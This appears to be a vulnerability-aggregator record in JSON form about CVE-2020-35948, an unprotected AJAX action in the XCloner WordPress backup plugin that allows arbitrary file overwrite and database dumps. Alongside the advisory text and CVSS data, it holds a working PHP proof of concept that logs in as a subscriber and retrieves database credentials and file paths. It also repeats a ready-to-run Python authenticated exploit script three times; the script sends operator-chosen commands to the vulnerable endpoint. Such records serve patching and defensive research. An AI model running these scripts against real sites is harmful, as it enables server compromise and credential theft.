Description
"This flaw gave authenticated attackers, with subscriber-level or above capabilities, the ability to modify arbitrary files, including PHP files. Doing so would allow an attacker to achieve remote code execution on a vulnerable site’s server. Alternatively, an attacker could create an exploit chain to obtain a database dump due to the same unprotected AJAX endpoint, amongst other things. "
Related
{"id": "WPEX-ID:95774641-16B8-4692-929A-BC45621423E5", "type": "wpexploit", "bulletinFamily": "exploit", "title": "XCloner Backup and Restore 4.2.1 - 4.2.12 - Unprotected AJAX Action", "description": "\"This flaw gave authenticated attackers, with subscriber-level or above capabilities, the ability to modify arbitrary files, including PHP files. Doing so would allow an attacker to achieve remote code execution on a vulnerable site\u2019s server. Alternatively, an attacker could create an exploit chain to obtain a database dump due to the same unprotected AJAX endpoint, amongst other things. \" \n", "published": "2020-09-22T00:00:00", "modified": "2021-01-03T06:00:43", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "href": "", "reporter": "Chloe Chamberland", "references": ["https://www.wordfence.com/blog/2020/09/critical-vulnerabilities-patched-in-xcloner-backup-and-restore-plugin/"], "cvelist": ["CVE-2020-35948"], "lastseen": "2021-02-15T22:22:20", "viewCount": 0, "enchantments": {"dependencies": {"references": [{"type": "checkpoint_advisories", "idList": ["CPAI-2020-3405"]}, {"type": "cve", "idList": ["CVE-2020-35948"]}, {"type": "exploitdb", "idList": ["EDB-ID:50077"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:163336"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:95774641-16B8-4692-929A-BC45621423E5"]}, {"type": "zdt", "idList": ["1337DAY-ID-36497"]}], "rev": 4}, "score": {"value": 7.1, "vector": "NONE"}, "backreferences": {"references": [{"type": "checkpoint_advisories", "idList": ["CPAI-2020-3405"]}, {"type": "cve", "idList": ["CVE-2020-35948"]}, {"type": "exploitdb", "idList": ["EDB-ID:50077"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:163336"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:95774641-16B8-4692-929A-BC45621423E5"]}, {"type": "zdt", "idList": ["1337DAY-ID-36497"]}]}, "exploitation": null, "vulnersScore": 7.1}, "sourceData": "This is just one example of what can happen - this will retrieve the site's DB credentials and full file path. \r\n\r\nUsage: php poc.php mysite.com subscriber password\r\n\r\n<?php\r\n\r\n// Settings\r\n$wp_url = $argv[1];\r\n$wp_user = $argv[2];\r\n$wp_pass = $argv[3];\r\n\r\n// 1) Log in as subscriber\r\n$ch = curl_init();\r\n$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');\r\ncurl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-login.php');\r\ncurl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);\r\ncurl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\r\ncurl_setopt($ch, CURLOPT_POST, true);\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS, [\r\n 'log' => $wp_user,\r\n 'pwd' => $wp_pass,\r\n 'rememberme' => 'forever',\r\n 'wp-submit' => 'Log+In',\r\n]);\r\n$output = curl_exec($ch);\r\ncurl_close($ch);\r\n\r\n// Update Settings\r\n$ch = curl_init();\r\ncurl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php?action=restore_backup');\r\ncurl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);\r\ncurl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\r\ncurl_setopt($ch, CURLOPT_POST, true);\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS, [\r\n 'xcloner_action' => 'get_current_directory'\r\n]);\r\n\r\n$output = curl_exec($ch);\r\ncurl_close($ch);\r\nprint_r($output);\r\n\r\n?>", "generation": 1, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1646030762}}
{"zdt": [{"lastseen": "2021-12-03T01:56:56", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-01T00:00:00", "type": "zdt", "title": "Wordpress XCloner 4.2.12 Plugin - Remote Code Execution (Authenticated) Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-35948"], "modified": "2021-07-01T00:00:00", "id": "1337DAY-ID-36497", "href": "https://0day.today/exploit/description/36497", "sourceData": "# Exploit Title: Wordpress Plugin XCloner 4.2.12 - Remote Code Execution (Authenticated)\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://www.xcloner.com/\n# Software Link: https://downloads.wordpress.org/plugin/xcloner-backup-and-restore.4.2.12.zip\n# Version: 4.2.1 - 4.2.12\n# Tested on: Ubuntu 18.04\n# CVE: CVE-2020-35948\n# CWE: CWE-732\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/CVE-2020-35948-Exploit/README.md\n\n'''\nDescription:\nAn issue was discovered in the XCloner Backup and Restore plugin before 4.2.13 for WordPress. It gave authenticated attackers the ability to modify arbitrary files, \nincluding PHP files. Doing so would allow an attacker to achieve remote code execution. The xcloner_restore.php write_file_action could overwrite wp-config.php, \nfor example. Alternatively, an attacker could create an exploit chain to obtain a database dump.\n'''\n\n\n'''\nBanner:\n'''\nbanner = \"\"\"\n\n\n ##### # # ####### ##### ### ##### ### ##### ####### ##### # ##### \n # # # # # # # # # # # # # # # # # # # # # # \n # # # # # # # # # # # # # # # # # # \n # # # ##### ##### ##### # # ##### # # ##### ##### ###### ###### # # ##### \n # # # # # # # # # # # # # ####### # # \n # # # # # # # # # # # # # # # # # # # # \n ##### # ####### ####### ### ####### ### ##### ##### ##### # ##### \n \n \n \n by @Hacker5preme\n\"\"\"\nprint(banner)\n\n\n'''\nImport required modules:\n'''\nimport requests\nimport argparse\n\n\n'''\nUser-Input:\n'''\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin XCloner RCE (Authenticated)')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nmy_parser.add_argument('-u', '--USERNAME', type=str)\nmy_parser.add_argument('-p', '--PASSWORD', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\nusername = args.USERNAME\npassword = args.PASSWORD\nprint('')\najax_cmd = input('[*] Ajax Command to execute: ')\n\n'''\nAuthentication:\n'''\nsession = requests.Session()\nauth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'\n\n# Header:\nheader = {\n 'Host': target_ip,\n 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',\n 'Accept-Encoding': 'gzip, deflate',\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Origin': 'http://' + target_ip,\n 'Connection': 'close',\n 'Upgrade-Insecure-Requests': '1'\n}\n\n# Body:\nbody = {\n 'log': username, \n 'pwd': password, \n 'wp-submit': 'Log In', \n 'testcookie': '1'\n}\n\n# Authenticate:\nprint('')\nauth = session.post(auth_url, headers=header, data=body)\nauth_header= auth.headers['Set-Cookie']\nif 'wordpress_logged_in' in auth_header:\n print('[+] Authentication successfull !')\nelse:\n print('[-] Authentication failed !')\n exit()\n\n\n'''\nExploit:\n'''\nurl_exploit = \"http://192.168.0.38:80/wordpress//wp-admin/admin-ajax.php?action=restore_backup\"\n\nheader = {\n \"Accept\": \"*/*\",\n \"Content-Type\": \"multipart/form-data; boundary=------------------------08425016980d7357\",\n \"Connection\": \"close\"\n}\n\n# Body:\nbody = \"--------------------------08425016980d7357\\r\\nContent-Disposition: form-data; name=\\\"xcloner_action\\\"\\r\\n\\r\\n%s\\r\\n--------------------------08425016980d7357--\\r\\n\" % (ajax_cmd)\n\nexploit = session.post(url_exploit, headers=header, data=body)\nprint('')\nprint(exploit.text)\nprint('')\n", "sourceHref": "https://0day.today/exploit/36497", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:31:39", "description": "A remote code execution vulnerability exists in WordPress XCloner Backup plugin. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-31T00:00:00", "type": "checkpoint_advisories", "title": "WordPress XCloner Backup Plugin Remote Code Execution (CVE-2020-35948)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-35948"], "modified": "2021-10-31T00:00:00", "id": "CPAI-2020-3405", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "patchstack": [{"lastseen": "2022-06-01T19:34:13", "description": "Unprotected AJAX Action to Arbitrary File Overwrite and Sensitive Information Disclosure vulnerability discovered by Chloe Chamberland (WordFence) in WordPress Backup, Restore and Migrate plugin (versions 4.2.1 \u2013 4.2.12).\n\n## Solution\n\n\r\n Update the WordPress Backup, Restore and Migrate plugin to the latest available version (at least 4.2.13).\r\n ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-09-22T00:00:00", "type": "patchstack", "title": "WordPress Backup, Restore and Migrate plugin 4.2.1 \u2013 4.2.12 - Unprotected AJAX Action to Arbitrary File Overwrite and Sensitive Information Disclosure vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-35948"], "modified": "2020-09-22T00:00:00", "id": "PATCHSTACK:413E1EB7EDFE11609C8AC7F21462B42F", "href": "https://patchstack.com/database/vulnerability/xcloner-backup-and-restore/wordpress-backup-restore-and-migrate-plugin-4-2-1-4-2-12-unprotected-ajax-action-to-arbitrary-file-overwrite-and-sensitive-information-disclosure-vulnerability", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "wpvulndb": [{"lastseen": "2021-02-15T22:22:20", "bulletinFamily": "software", "cvelist": ["CVE-2020-35948"], "description": "\"This flaw gave authenticated attackers, with subscriber-level or above capabilities, the ability to modify arbitrary files, including PHP files. Doing so would allow an attacker to achieve remote code execution on a vulnerable site\u2019s server. Alternatively, an attacker could create an exploit chain to obtain a database dump due to the same unprotected AJAX endpoint, amongst other things. \" \n\n### PoC\n\nThis is just one example of what can happen - this will retrieve the site's DB credentials and full file path. Usage: php poc.php mysite.com subscriber password $wp_user, 'pwd' => $wp_pass, 'rememberme' => 'forever', 'wp-submit' => 'Log+In', ]); $output = curl_exec($ch); curl_close($ch); // Update Settings $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php?action=restore_backup'); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'xcloner_action' => 'get_current_directory' ]); $output = curl_exec($ch); curl_close($ch); print_r($output); ?>\n", "modified": "2021-01-03T06:00:43", "id": "WPVDB-ID:95774641-16B8-4692-929A-BC45621423E5", "href": "https://wpscan.com/vulnerability/95774641-16b8-4692-929a-bc45621423e5", "published": "2020-09-22T00:00:00", "type": "wpvulndb", "title": "XCloner Backup and Restore 4.2.1 - 4.2.12 - Unprotected AJAX Action", "sourceData": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2021-07-01T17:10:26", "description": "", "cvss3": {}, "published": "2021-07-01T00:00:00", "type": "packetstorm", "title": "WordPress XCloner 4.2.12 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-35948"], "modified": "2021-07-01T00:00:00", "id": "PACKETSTORM:163336", "href": "https://packetstormsecurity.com/files/163336/WordPress-XCloner-4.2.12-Remote-Code-Execution.html", "sourceData": "`# Exploit Title: Wordpress Plugin XCloner 4.2.12 - Remote Code Execution (Authenticated) \n# Date 30.06.2021 \n# Exploit Author: Ron Jost (Hacker5preme) \n# Vendor Homepage: https://www.xcloner.com/ \n# Software Link: https://downloads.wordpress.org/plugin/xcloner-backup-and-restore.4.2.12.zip \n# Version: 4.2.1 - 4.2.12 \n# Tested on: Ubuntu 18.04 \n# CVE: CVE-2020-35948 \n# CWE: CWE-732 \n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/CVE-2020-35948-Exploit/README.md \n \n''' \nDescription: \nAn issue was discovered in the XCloner Backup and Restore plugin before 4.2.13 for WordPress. It gave authenticated attackers the ability to modify arbitrary files, \nincluding PHP files. Doing so would allow an attacker to achieve remote code execution. The xcloner_restore.php write_file_action could overwrite wp-config.php, \nfor example. Alternatively, an attacker could create an exploit chain to obtain a database dump. \n''' \n \n \n''' \nBanner: \n''' \nbanner = \"\"\" \n \n \n##### # # ####### ##### ### ##### ### ##### ####### ##### # ##### \n# # # # # # # # # # # # # # # # # # # # # # \n# # # # # # # # # # # # # # # # # # \n# # # ##### ##### ##### # # ##### # # ##### ##### ###### ###### # # ##### \n# # # # # # # # # # # # # ####### # # \n# # # # # # # # # # # # # # # # # # # # \n##### # ####### ####### ### ####### ### ##### ##### ##### # ##### \n \n \n \nby @Hacker5preme \n\"\"\" \nprint(banner) \n \n \n''' \nImport required modules: \n''' \nimport requests \nimport argparse \n \n \n''' \nUser-Input: \n''' \nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin XCloner RCE (Authenticated)') \nmy_parser.add_argument('-T', '--IP', type=str) \nmy_parser.add_argument('-P', '--PORT', type=str) \nmy_parser.add_argument('-U', '--PATH', type=str) \nmy_parser.add_argument('-u', '--USERNAME', type=str) \nmy_parser.add_argument('-p', '--PASSWORD', type=str) \nargs = my_parser.parse_args() \ntarget_ip = args.IP \ntarget_port = args.PORT \nwp_path = args.PATH \nusername = args.USERNAME \npassword = args.PASSWORD \nprint('') \najax_cmd = input('[*] Ajax Command to execute: ') \n \n''' \nAuthentication: \n''' \nsession = requests.Session() \nauth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php' \n \n# Header: \nheader = { \n'Host': target_ip, \n'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0', \n'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', \n'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', \n'Accept-Encoding': 'gzip, deflate', \n'Content-Type': 'application/x-www-form-urlencoded', \n'Origin': 'http://' + target_ip, \n'Connection': 'close', \n'Upgrade-Insecure-Requests': '1' \n} \n \n# Body: \nbody = { \n'log': username, \n'pwd': password, \n'wp-submit': 'Log In', \n'testcookie': '1' \n} \n \n# Authenticate: \nprint('') \nauth = session.post(auth_url, headers=header, data=body) \nauth_header= auth.headers['Set-Cookie'] \nif 'wordpress_logged_in' in auth_header: \nprint('[+] Authentication successfull !') \nelse: \nprint('[-] Authentication failed !') \nexit() \n \n \n''' \nExploit: \n''' \nurl_exploit = \"http://192.168.0.38:80/wordpress//wp-admin/admin-ajax.php?action=restore_backup\" \n \nheader = { \n\"Accept\": \"*/*\", \n\"Content-Type\": \"multipart/form-data; boundary=------------------------08425016980d7357\", \n\"Connection\": \"close\" \n} \n \n# Body: \nbody = \"--------------------------08425016980d7357\\r\\nContent-Disposition: form-data; name=\\\"xcloner_action\\\"\\r\\n\\r\\n%s\\r\\n--------------------------08425016980d7357--\\r\\n\" % (ajax_cmd) \n \nexploit = session.post(url_exploit, headers=header, data=body) \nprint('') \nprint(exploit.text) \nprint('') \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/163336/wpxcloner4212-exec.txt", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2022-03-23T18:00:05", "description": "An issue was discovered in the XCloner Backup and Restore plugin before 4.2.13 for WordPress. It gave authenticated attackers the ability to modify arbitrary files, including PHP files. Doing so would allow an attacker to achieve remote code execution. The xcloner_restore.php write_file_action could overwrite wp-config.php, for example. Alternatively, an attacker could create an exploit chain to obtain a database dump.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-01-01T04:15:00", "type": "cve", "title": "CVE-2020-35948", "cwe": ["CWE-863"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-35948"], "modified": "2022-02-22T10:14:00", "cpe": [], "id": "CVE-2020-35948", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-35948", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cpe23": []}], "exploitdb": [{"lastseen": "2022-05-13T17:36:56", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-01T00:00:00", "type": "exploitdb", "title": "Wordpress Plugin XCloner 4.2.12 - Remote Code Execution (Authenticated)", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2020-35948", "CVE-2020-35948"], "modified": "2021-07-01T00:00:00", "id": "EDB-ID:50077", "href": "https://www.exploit-db.com/exploits/50077", "sourceData": "# Exploit Title: Wordpress Plugin XCloner 4.2.12 - Remote Code Execution (Authenticated)\r\n# Date 30.06.2021\r\n# Exploit Author: Ron Jost (Hacker5preme)\r\n# Vendor Homepage: https://www.xcloner.com/\r\n# Software Link: https://downloads.wordpress.org/plugin/xcloner-backup-and-restore.4.2.12.zip\r\n# Version: 4.2.1 - 4.2.12\r\n# Tested on: Ubuntu 18.04\r\n# CVE: CVE-2020-35948\r\n# CWE: CWE-732\r\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/CVE-2020-35948-Exploit/README.md\r\n\r\n'''\r\nDescription:\r\nAn issue was discovered in the XCloner Backup and Restore plugin before 4.2.13 for WordPress. It gave authenticated attackers the ability to modify arbitrary files, \r\nincluding PHP files. Doing so would allow an attacker to achieve remote code execution. The xcloner_restore.php write_file_action could overwrite wp-config.php, \r\nfor example. Alternatively, an attacker could create an exploit chain to obtain a database dump.\r\n'''\r\n\r\n\r\n'''\r\nBanner:\r\n'''\r\nbanner = \"\"\"\r\n\r\n\r\n ##### # # ####### ##### ### ##### ### ##### ####### ##### # ##### \r\n # # # # # # # # # # # # # # # # # # # # # # \r\n # # # # # # # # # # # # # # # # # # \r\n # # # ##### ##### ##### # # ##### # # ##### ##### ###### ###### # # ##### \r\n # # # # # # # # # # # # # ####### # # \r\n # # # # # # # # # # # # # # # # # # # # \r\n ##### # ####### ####### ### ####### ### ##### ##### ##### # ##### \r\n \r\n \r\n \r\n by @Hacker5preme\r\n\"\"\"\r\nprint(banner)\r\n\r\n\r\n'''\r\nImport required modules:\r\n'''\r\nimport requests\r\nimport argparse\r\n\r\n\r\n'''\r\nUser-Input:\r\n'''\r\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin XCloner RCE (Authenticated)')\r\nmy_parser.add_argument('-T', '--IP', type=str)\r\nmy_parser.add_argument('-P', '--PORT', type=str)\r\nmy_parser.add_argument('-U', '--PATH', type=str)\r\nmy_parser.add_argument('-u', '--USERNAME', type=str)\r\nmy_parser.add_argument('-p', '--PASSWORD', type=str)\r\nargs = my_parser.parse_args()\r\ntarget_ip = args.IP\r\ntarget_port = args.PORT\r\nwp_path = args.PATH\r\nusername = args.USERNAME\r\npassword = args.PASSWORD\r\nprint('')\r\najax_cmd = input('[*] Ajax Command to execute: ')\r\n\r\n'''\r\nAuthentication:\r\n'''\r\nsession = requests.Session()\r\nauth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'\r\n\r\n# Header:\r\nheader = {\r\n 'Host': target_ip,\r\n 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',\r\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\r\n 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',\r\n 'Accept-Encoding': 'gzip, deflate',\r\n 'Content-Type': 'application/x-www-form-urlencoded',\r\n 'Origin': 'http://' + target_ip,\r\n 'Connection': 'close',\r\n 'Upgrade-Insecure-Requests': '1'\r\n}\r\n\r\n# Body:\r\nbody = {\r\n 'log': username, \r\n 'pwd': password, \r\n 'wp-submit': 'Log In', \r\n 'testcookie': '1'\r\n}\r\n\r\n# Authenticate:\r\nprint('')\r\nauth = session.post(auth_url, headers=header, data=body)\r\nauth_header= auth.headers['Set-Cookie']\r\nif 'wordpress_logged_in' in auth_header:\r\n print('[+] Authentication successfull !')\r\nelse:\r\n print('[-] Authentication failed !')\r\n exit()\r\n\r\n\r\n'''\r\nExploit:\r\n'''\r\nurl_exploit = \"http://192.168.0.38:80/wordpress//wp-admin/admin-ajax.php?action=restore_backup\"\r\n\r\nheader = {\r\n \"Accept\": \"*/*\",\r\n \"Content-Type\": \"multipart/form-data; boundary=------------------------08425016980d7357\",\r\n \"Connection\": \"close\"\r\n}\r\n\r\n# Body:\r\nbody = \"--------------------------08425016980d7357\\r\\nContent-Disposition: form-data; name=\\\"xcloner_action\\\"\\r\\n\\r\\n%s\\r\\n--------------------------08425016980d7357--\\r\\n\" % (ajax_cmd)\r\n\r\nexploit = session.post(url_exploit, headers=header, data=body)\r\nprint('')\r\nprint(exploit.text)\r\nprint('')", "sourceHref": "https://www.exploit-db.com/download/50077", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}]}